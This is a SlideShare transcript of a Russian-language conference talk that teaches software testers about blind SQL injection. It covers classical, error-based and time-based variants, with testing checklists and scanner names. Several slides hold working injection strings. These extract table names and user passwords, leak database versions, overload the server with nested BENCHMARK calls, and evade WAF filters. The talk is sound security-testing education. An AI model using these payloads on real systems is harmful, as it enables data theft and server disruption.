Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Слепые SQL инъекции. Достаточно ли хороши ваши тесты?

3,448 views

Published on

Презентация Игорь Бондаренко на SQA Days-16
14-15 ноября 2014, Санкт-Петербург, Россия
www.sqadays.com

Published in: Education
  • Be the first to comment

Слепые SQL инъекции. Достаточно ли хороши ваши тесты?

  1. 1. Слепые SQL инъекции. Игорь Бондаренко. Neklo.
  2. 2. Цикл докладов 1/18 1. Тестирование защищенности веб-приложений http://sqadays.com/ru/talk/11187 2. Тестирование программных фильтров безопасности http://sqadays.com/ru/talk/11128
  3. 3. Архитектура уязвимости BlindSQLInjection Classical Injection Error Based Injection Double Blind Injection 2/18
  4. 4. Условия возникновения уязвимости • Результат выполнения внедренного запроса не отображается среди данных доступных пользователю • Внедренный запрос попадает в несколько разных запросов, осуществляющих выборку из таблиц с различным числом столбцов • Используется фильтрация склеивания запросов 3/18
  5. 5. Classical Injection Вывод информации на экран: Невозможен Способ обнаружения: Посимвольный перебор site.com/index.php?id=2 Select title, page From Pages Where Pages.id = 2; 4/18
  6. 6. Обнаружение уязвимости site.com/index.php?id=2’ AND ‘1’ = ‘1’— Select title, page From Pages Where Pages.id = 2 AND 1=1; site.com/index.php?id=2’ AND ‘1’=‘2’— Select title, page From Pages Where Pages.id = 2 AND 1=2; 5/18
  7. 7. Эксплуатация уязвимости site.com/index.php?id=2’ AND USER_NAME() = ‘Admin‘ site.com/index.php?id=2’ AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 109 6/18
  8. 8. Кому это нужно? 7/18
  9. 9. Тестирование 1. Проверка корректной обработки истинных и ложных запросов 2. Проверка со значениями подобранными для существующих пользователей и имен таблиц 8/18
  10. 10. Error Based Injection Вывод информации на экран: В сообщениях об ошибках Способ обнаружения: Использование готовых техник для конкретных баз данных 9/18
  11. 11. Способ обнаружения site.com/index.php?id=2’ OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID(VERSION(), FLOOR(RAND(0)*2), 64)) -- При наличии уязвимости приложение вернет ошибку: Duplicate entry '5.0.45' for key 1 10/18
  12. 12. Запросы для других баз данных • PostgreSQL: site.com/index.php?id=1 and(1)=cast(version() as numeric)— • MSSQL: site.com/index.php?id=1 and(1)=convert(int,@@version)— • Sybase: site.com/index.php?id=1 and(1)=convert(int,@@version)— • Oracle: site.com/index.php?id=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)-- 11/18
  13. 13. Тестирование 1. Определение версии и типа поддерживаемой БД 2. Использование готовых эксплоитов для определенной БД 12/18
  14. 14. Double Blind Injections Вывод информации на экран: Отсутствует Способ обнаружения: Посимвольный перебор с использованием временных задержек 13/18
  15. 15. Техники эксплуатации Посимвольный перебор с помощью Benchmark: site.com/index.php?id=2’ AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 109 , 1, BENCHMARK(2999999,MD5(NOW()))) Способ навредить серверу БД: site.com/index.php?id=2’ AND BENCHMARK(100000, BENCHMARK(100000,md5(current_time))) 14/18
  16. 16. Техники эксплуатации Использование логических запросов AND и OR • /?id=2+OR+0x50=0x50 • /?id=2+and+ascii(lower(mid((select+pwd+from+users+limit+1,1), 1,1)))=74 Использование функций синонимов для WAF • substring((select 'password'),1,1) = 0x70 • substr((select 'password'),1,1) = 0x70 • mid((select 'password'),1,1) = 0x70 • strcmp(left('password',1), 0x69) = 1 • strcmp(left('password',1), 0x70) = 0 • strcmp(left('password',1), 0x71) = -1 15/18
  17. 17. Тестирование 1.Проверка отсутствия временных задержек при выполнении истинных и ложных запросов 2.Подбор приемлемого времени отклика 3.Проверка со значениями подобранными для существующих пользователей и имен таблиц 16/18
  18. 18. Программы для поиска уязвимостей 1. SQLMap 2. Blind SQL Injector Tool 3. WebInspect 17/18
  19. 19. Заключение 1.Проверки слепых инъекций значительно повысят качество ваших тестов 2.Тесты быстрые и простые 3.Тесты можно не проводить вручную 18/18
  20. 20. Вопросы Email: bondarenko.ihar@yandex.ru Skype: igor.bondarenko1

×